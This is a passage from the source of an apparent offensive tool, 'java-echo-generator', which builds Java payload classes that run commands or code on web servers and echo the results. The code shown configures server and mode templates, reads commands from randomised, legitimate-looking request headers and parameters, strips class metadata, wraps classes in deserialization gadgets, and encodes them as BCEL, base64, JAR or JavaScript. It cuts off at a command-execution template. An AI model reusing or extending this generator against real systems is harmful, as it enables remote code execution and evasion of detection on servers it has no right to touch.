88 | ReflectionUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
89 | } catch (Exception e) {
90 | try {
91 | // 兼容 javassist v3.20 及以下
92 | List attributes = (List) ReflectionUtil.getFV(classFile, "attributes");
93 | removeAttribute(attributes, SourceFileAttribute.tag);
94 | } catch (Exception ignored) {
95 | }
96 | }
97 | }
98 |
99 |
100 | public static synchronized AttributeInfo removeAttribute(List attributes, String name) {
101 | if (attributes == null) return null;
102 |
103 | for (AttributeInfo ai : attributes)
104 | if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
105 |
106 | return null;
107 | }
108 |
109 |
110 | public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
111 | if (fieldValue != null) {
112 | JavassistUtil.addField(ctClass, fieldName, fieldValue);
113 | }
114 | }
115 |
116 | public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
117 | if (fieldValue != null) {
118 | JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
119 | }
120 | }
121 |
122 | public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
123 | if (className != null) {
124 | ctClass.setName(className);
125 | }
126 | }
127 |
128 | }
129 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/RandomUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import java.util.Random;
4 |
5 | public class RandomUtil {
6 |
7 | // 生成随机长度的字符串
8 | public static String genRandomLengthString(int minLength) {
9 | Random random = new Random();
10 | StringBuilder sb = new StringBuilder();
11 | int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数
12 | for (int i = 0; i < length; i++) {
13 | char c = (char) (random.nextInt(26) + 'a');
14 | if (i == 0) {
15 | c = Character.toUpperCase(c);
16 | }
17 | sb.append(c);
18 | }
19 | return sb.toString();
20 | }
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java:
--------------------------------------------------------------------------------
1 | package jeg.common.util;
2 |
3 | import java.lang.reflect.Field;
4 | import java.lang.reflect.InvocationTargetException;
5 | import java.lang.reflect.Method;
6 |
7 | public class ReflectionUtil {
8 |
9 | public static void setFV(Object var0, String var1, Object val) throws Exception {
10 | getF(var0, var1).set(var0, val);
11 | }
12 |
13 | public static Object getFV(Object obj, String fieldName) throws Exception {
14 | Field field = getF(obj, fieldName);
15 | field.setAccessible(true);
16 | return field.get(obj);
17 | }
18 |
19 | public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
20 | Class> clazz = obj.getClass();
21 | while (clazz != null) {
22 | try {
23 | Field field = clazz.getDeclaredField(fieldName);
24 | field.setAccessible(true);
25 | return field;
26 | } catch (NoSuchFieldException e) {
27 | clazz = clazz.getSuperclass();
28 | }
29 | }
30 | throw new NoSuchFieldException(fieldName);
31 | }
32 |
33 | public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
34 | return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
35 | }
36 |
37 |
38 | public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
39 | Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
40 | Method method = null;
41 |
42 | Class tempClass = clazz;
43 | while (method == null && tempClass != null) {
44 | try {
45 | if (paramClazz == null) {
46 | // Get all declared methods of the class
47 | Method[] methods = tempClass.getDeclaredMethods();
48 | for (int i = 0; i < methods.length; i++) {
49 | if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
50 | method = methods[i];
51 | break;
52 | }
53 | }
54 | } else {
55 | method = tempClass.getDeclaredMethod(methodName, paramClazz);
56 | }
57 | } catch (NoSuchMethodException e) {
58 | tempClass = tempClass.getSuperclass();
59 | }
60 | }
61 | if (method == null) {
62 | throw new NoSuchMethodException(methodName);
63 | }
64 | method.setAccessible(true);
65 | if (obj instanceof Class) {
66 | try {
67 | return method.invoke(null, param);
68 | } catch (IllegalAccessException e) {
69 | throw new RuntimeException(e.getMessage());
70 | }
71 | } else {
72 | try {
73 | return method.invoke(obj, param);
74 | } catch (IllegalAccessException e) {
75 | throw new RuntimeException(e.getMessage());
76 | }
77 | }
78 | }
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/jeg-core/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jeg
6 | java-echo-generator
7 | ${reversion}
8 |
9 | jEG-core
10 |
11 |
12 | ${artifactId}-${reversion}
13 |
14 |
15 |
16 |
17 | jeg
18 | jEG-common
19 | ${reversion}
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jeg-core/src/main/java/jeg/core/config/jEGConfig.java:
--------------------------------------------------------------------------------
1 | package jeg.core.config;
2 |
3 | import jeg.common.config.Config;
4 | import jeg.common.config.Constants;
5 | import jeg.common.util.ClassUtil;
6 | import jeg.common.util.HeaderUtil;
7 | import jeg.common.util.RandomUtil;
8 |
9 | import java.util.Objects;
10 |
11 | public class jEGConfig extends Config {
12 |
13 | public jEGConfig() {
14 | }
15 |
16 | public void setServerType(String serverType) {
17 | this.serverType = serverType;
18 | }
19 |
20 | public void setModelType(String modelType) {
21 | this.modelType = modelType;
22 | }
23 |
24 | public void setClassName(String className) {
25 | this.className = className;
26 | }
27 |
28 | public void setFormatType(String formatType) {
29 | this.formatType = formatType;
30 | }
31 |
32 | public void setOutputDir(String outputDir) {
33 | this.outputDir = outputDir;
34 | }
35 |
36 | public void setReqHeaderName(String reqHeaderName) {
37 | this.reqHeaderName = reqHeaderName;
38 | }
39 |
40 | public void setReqParamName(String reqParamName) {
41 | this.reqParamName = reqParamName;
42 | }
43 |
44 | public void setRespHeaderName(String respHeaderName) {
45 | this.respHeaderName = respHeaderName;
46 | }
47 |
48 | public void setBase64ClassString(String base64ClassString) {
49 | this.base64ClassString = base64ClassString;
50 | }
51 |
52 | public void setClassBytes(byte[] classBytes) {
53 | this.classBytes = classBytes;
54 | }
55 |
56 | public void setClassBytesLength(int classBytesLength) {
57 | this.classBytesLength = classBytesLength;
58 | }
59 |
60 | public void setLoaderClassName(String loaderClassName) {
61 | this.loaderClassName = loaderClassName;
62 | }
63 |
64 | public void setGadgetType(String gadgetType) {
65 | this.gadgetType = gadgetType;
66 | }
67 |
68 | private String serverType;
69 | private String modelType;
70 | private String className;
71 | private String formatType;
72 | private String outputDir;
73 | private String desKey;
74 | private String reqHeaderName;
75 | private String reqParamName;
76 | private String respHeaderName;
77 | private String base64ClassString;
78 | private byte[] classBytes;
79 | private int classBytesLength;
80 | private boolean implementsASTTransformationType = false;
81 | private boolean implementsScriptEngineFactory = false;
82 | private String loaderClassName;
83 | private String gadgetType;
84 |
85 | public String getModelType() {
86 | return modelType;
87 | }
88 |
89 | public String getServerType() {
90 | return serverType;
91 | }
92 |
93 | public String getClassName() {
94 | return className;
95 | }
96 |
97 | public String getFormatType() {
98 | return formatType;
99 | }
100 |
101 | public String getOutputDir() {
102 | return outputDir;
103 | }
104 |
105 | public String getDesKey() {
106 | return desKey;
107 | }
108 |
109 | public String getReqHeaderName() {
110 | return reqHeaderName;
111 | }
112 |
113 | public String getReqParamName() {
114 | return reqParamName;
115 | }
116 |
117 | public String getRespHeaderName() {
118 | return respHeaderName;
119 | }
120 |
121 | public String getBase64ClassString() {
122 | return base64ClassString;
123 | }
124 |
125 | public byte[] getClassBytes() {
126 | return classBytes;
127 | }
128 |
129 | public int getClassBytesLength() {
130 | return classBytesLength;
131 | }
132 |
133 | public String getLoaderClassName() {
134 | return loaderClassName;
135 | }
136 |
137 | public String getGadgetType() {
138 | return gadgetType;
139 | }
140 |
141 | public void build() {
142 | // 检查 serverType、modelType、formatType 是否已设置
143 | if (this.modelType == null || this.serverType == null || this.formatType == null) {
144 | throw new IllegalStateException("serverType、modelType and formatType must be set.");
145 | }
146 | // 可选参数,默认随机
147 | if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), "")) setOutputDir(System.getProperty("user.dir"));
148 | if (this.getClassName() == null || Objects.equals(this.getClassName(), "")) setClassName(ClassUtil.getRandomClassName());
149 | if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), "")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys));
150 | if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), "")) setReqParamName(RandomUtil.genRandomLengthString(4));
151 | if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE);
152 | }
153 | }
--------------------------------------------------------------------------------
/jeg-core/src/main/java/jeg/core/config/jEGConstants.java:
--------------------------------------------------------------------------------
1 | package jeg.core.config;
2 |
3 | import jeg.common.config.Constants;
4 |
5 | public interface jEGConstants extends Constants {
6 |
7 | String JEG_NAME = "java-echo-generator";
8 | String JEG_VERSION = "v1.0.0";
9 | String JEG_AUTHOR = "pen4uin";
10 | String JEG_DESCRIPTION = "Java 回显载荷生成器";
11 |
12 | String[] headerKeys = {"Accept-","Content-","Cache-Control-","Transfer-","Last-Modified-","Etag-"};
13 |
14 | String MODEL_CODE = "Code";
15 | String MODEL_CMD = "Command";
16 | }
--------------------------------------------------------------------------------
/jeg-core/src/main/java/jeg/core/jEGenerator.java:
--------------------------------------------------------------------------------
1 | package jeg.core;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import jeg.common.config.Constants;
7 | import jeg.common.format.*;
8 | import jeg.common.util.*;
9 | import jeg.core.config.jEGConfig;
10 | import jeg.core.config.jEGConstants;
11 | import jeg.core.util.TemplateUtil;
12 | import java.io.File;
13 | import java.io.IOException;
14 |
15 | public class jEGenerator {
16 | private final static ClassPool pool = ClassPool.getDefault();
17 |
18 | private final jEGConfig config;
19 | private byte[] clazzBytes;
20 |
21 |
22 | public jEGenerator(jEGConfig config) throws Throwable {
23 | this.config = config;
24 | this.genPayload();
25 | this.formatPayload();
26 | }
27 |
28 | private void genPayload() throws Exception {
29 | CtClass ctClass;
30 | pool.insertClassPath(new ClassClassPath(jEGenerator.class));
31 |
32 | String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType());
33 | ctClass = pool.getCtClass(className);
34 |
35 | ctClass.getClassFile().setVersionToJava5();
36 |
37 | try {
38 | if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) {
39 | JavassistUtil.addMethod(ctClass, "getReqHeaderName", String.format("{return \"%s\";}", config.getReqHeaderName()));
40 | }
41 | if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) {
42 | JavassistUtil.addMethod(ctClass, "getReqParamName", String.format("{return \"%s\";}", config.getReqParamName()));
43 | }
44 | ctClass.setName(config.getClassName());
45 | } catch (Exception e) {
46 | e.printStackTrace();
47 |
48 | }
49 | JavassistUtil.removeSourceFileAttribute(ctClass);
50 | clazzBytes = new GadgetUtil(config, pool, ctClass).modify();
51 | config.setClassBytesLength(clazzBytes.length);
52 | config.setClassBytesInFormatter(clazzBytes);
53 | config.setClassNameInFormatter(config.getClassName());
54 | ctClass.detach();
55 | }
56 |
57 |
58 | private void formatPayload() throws Throwable {
59 | if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) {
60 | clazzBytes = new BCELFormatter().transform(clazzBytes, config);
61 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) {
62 | clazzBytes = new JARFormatter().transform(clazzBytes, config);
63 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) {
64 | clazzBytes = new BASE64Formatter().transform(clazzBytes, config);
65 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) {
66 | clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config);
67 | } else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) {
68 | clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config);
69 | }
70 | }
71 |
72 | public String getPayload() throws IOException {
73 |
74 | String outputDir = config.getOutputDir();
75 | String file_output_path = outputDir;
76 | if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator;
77 | File dir = new File(outputDir);
78 | if (!dir.exists() || !dir.isDirectory()) {
79 | dir.mkdirs();
80 | }
81 |
82 | // 判断输出格式
83 | switch (config.getFormatType()) {
84 | case Constants.FORMAT_CLASS:
85 | file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".class";
86 | break;
87 | case Constants.FORMAT_JAR:
88 | file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".jar";
89 | break;
90 | case Constants.FORMAT_BIGINTEGER:
91 | case Constants.FORMAT_JS:
92 | case Constants.FORMAT_BASE64:
93 | case Constants.FORMAT_BCEL:
94 | return new String(clazzBytes);
95 | default:
96 | break;
97 | }
98 | FileUtil.writeFile(file_output_path, clazzBytes);
99 | return file_output_path;
100 | }
101 |
102 | }
--------------------------------------------------------------------------------
/jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java:
--------------------------------------------------------------------------------
1 | package jeg.core.template.all;
2 |
3 | import java.io.PrintWriter;
4 | import java.lang.reflect.Field;
5 | import java.lang.reflect.InvocationTargetException;
6 | import java.lang.reflect.Method;
7 | import java.util.HashSet;
8 | import java.util.Scanner;
9 |
10 | public class DFSCmdExecTpl {
11 | static {
12 | try {
13 | new DFSCmdExecTpl();
14 | } catch (Exception e) {
15 | }
16 | }
17 |
18 | static HashSet